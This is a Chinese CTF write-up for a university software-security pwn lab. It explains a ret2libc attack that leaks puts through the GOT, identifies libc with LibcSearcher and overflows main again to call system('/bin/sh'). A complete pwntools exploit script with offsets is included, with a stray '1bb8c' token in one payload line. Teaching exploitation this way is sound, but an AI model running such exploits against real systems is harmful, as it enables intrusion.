Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’
Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’
实验难度升级==有点晕了
文件:
其实和实验2是同一个文件,然后我还没传网盘…然后…好吧我承认我有拖延症…
3.24更新:我来发文件了…链接:https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 密码:6xlt
分析
这次实验的要求是不允许直接使用System函数,也不允许使用文件自带的getflag()函数,需要使用一些其他的技巧来获得System函数的地址。
划重点:
参考CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3
System函数是libc.so函数库中的一个函数,而且函数和函数在其中的相对位置(或者说相对偏移)不会发生变化,所以我们可以先使用一个其他的函数,得到它的地址,确定这个函数使用的libc版本(libc在github上有人收集),然后再获得System函数的地址。
那如何获得某个函数的地址?具体操作是使用got表泄露,即将这个函数got表中的内容输出出来即可。
关于got表和plt表,可以看看这篇博客:https://www.geek-share.com/detail/2696162685.html
所以基本操作就是先获得libc,然后在库中查询System函数(其实’/bin/sh‘字符串在libc中也有,也可以同样查询出来),这里用到一个工具LibcSearcher(https://github.com/lieanu/LibcSearcher )
具体exp思路:
- 利用一次主函数的溢出,将ret设置为想要溢出的函数的plt表地址(我们这里用的是’puts‘函数), 将got表中的数据输出出来,并再次进入主函数
- 获得libc版本,计算System函数地址,计算’/bin/sh‘字符串地址
- 再次利用main()函数的溢出,使程序跳转到system(’/bin/sh’),随后getshell
-看看主函数 记下主函数地址
0x080484FD
-写脚本
之前对pwn理解不够深入,一直使用的是静态分析,但简单的东西还能这样做,稍微复杂一些的程序执行起来的样子只有动态调试才能知道。
这里就有一些写脚本的技巧:
context.log_level='debug' context.terminal=['gnome-terminal','-x','sh','-c']
第一句的目的是将python和程序之间进行的交互内容公开出来(也可以理解为调试),对其中每一步的变化都可见;
第二句的目的是新建一个terminal,便于进行gdb调试
pwnlib.gdb.attach(sh)
这里就是pwntools自带的工具,大概功能就是在程序的相应位置下断点,然后利用新建的terminal窗口进行调试。但是这里其实是有些缺陷,断点的位置通常会滞后。
已经使用的函数的plt表地址和got表地址怎么获取?这里也是pwntools的一个附件可以实现
LibcSearcher怎么使用?
libc = LibcSearcher('函数名',已经泄露的地址) libcbase = 已经泄露的地址 - libc.dump('函数名') 想要泄露的函数地址 = libcbase + libc.dump('想要泄露的函数地址')
写好exp开始运行,得到结果
附
from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal=['gnome-terminal','-x','sh','-c'] sh=process('./pwn') elf=ELF('./pwn') main_addr=0x080484FD puts_plt=elf.plt['puts'] print('puts_plt',hex(puts_plt)) puts_got=elf.got['puts'] print('puts_got',hex(puts_got)) #pwnlib.gdb.attach(sh) payload='a'*112+p32(puts_plt)+p32(main_addr)+p32(puts_got) sh.recvuntil('try\n') sh.sendline(payload) #print ('got libc_st_main') puts_addr = u32(sh.recv(4)) #print ('puts_addr',hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) #print libc libcbase = puts_addr - libc.dump('puts') #print '!' system_addr = libcbase + libc.dump('system') #print"!" binsh_addr = libcbase + libc.dump('str_bin_sh') #print'!' payload = 1bb8c 'A'*104+ p32(system_addr) + 'b'*4 + p32(binsh_addr) sh.sendline(payload) sh.interactive()
结果
运行脚本,getshell
这里其实还有很多问题:
可能有些人能看到,我两次main()函数中溢出的位置不一样,一次是
0x6c+4,一次是
0x64+4,这就需要动态调试去发现了。由于
s=esp+0x1c,用
ebp-esp-0x1c就可以知道溢出位置。
End
其实本可以很早就能做出来的…最致命操作是我写错了 ’system’ …还有‘str_bin_sh’…然后就造成下面这种情况
明明匹配到了libc库却找不到函数…
枯了。
- Tamevic’s Ctf-Pwn writeup@软件安全‘实验4pwn’
- Tamevic’s Ctf-Web writeup@实验吧‘FALSE’
- 第三届上海市大学生网络安全大赛 PWN200 WriteUp
- 陕西网络空间安全技术大赛pwn_box writeup
- 实验吧-简单的注sql入 writeup
- 第二届“强网杯”全国网络安全挑战赛WRITE-UP
- 各类移动安全竞赛题/部分writeup收集与整理
- pwnhub——胖哈勃外传-第一集 writeup
- WriteUp--------你知道他是谁吗?(实验吧)
- 实验吧 rsarsa crypto Writeup
- jarvis oj pwn hiphop writeup
- 陕西省网络空间安全技术大赛部分题目writeup
- 实验吧-忘记密码了?writeup
- 实验吧Writeup
- 绿盟杯NSCTF(CCTF)2017 pwn writeup
- 实验吧 此处无声 writeup
- volga-ctf-quals-2016 pwn web_of_scicen_250 writeup
- trivial writeup 实验吧
- 网络信息安全攻防学习平台(基础关write up)
- 第三届上海大学生网络安全大赛 junkcode writeup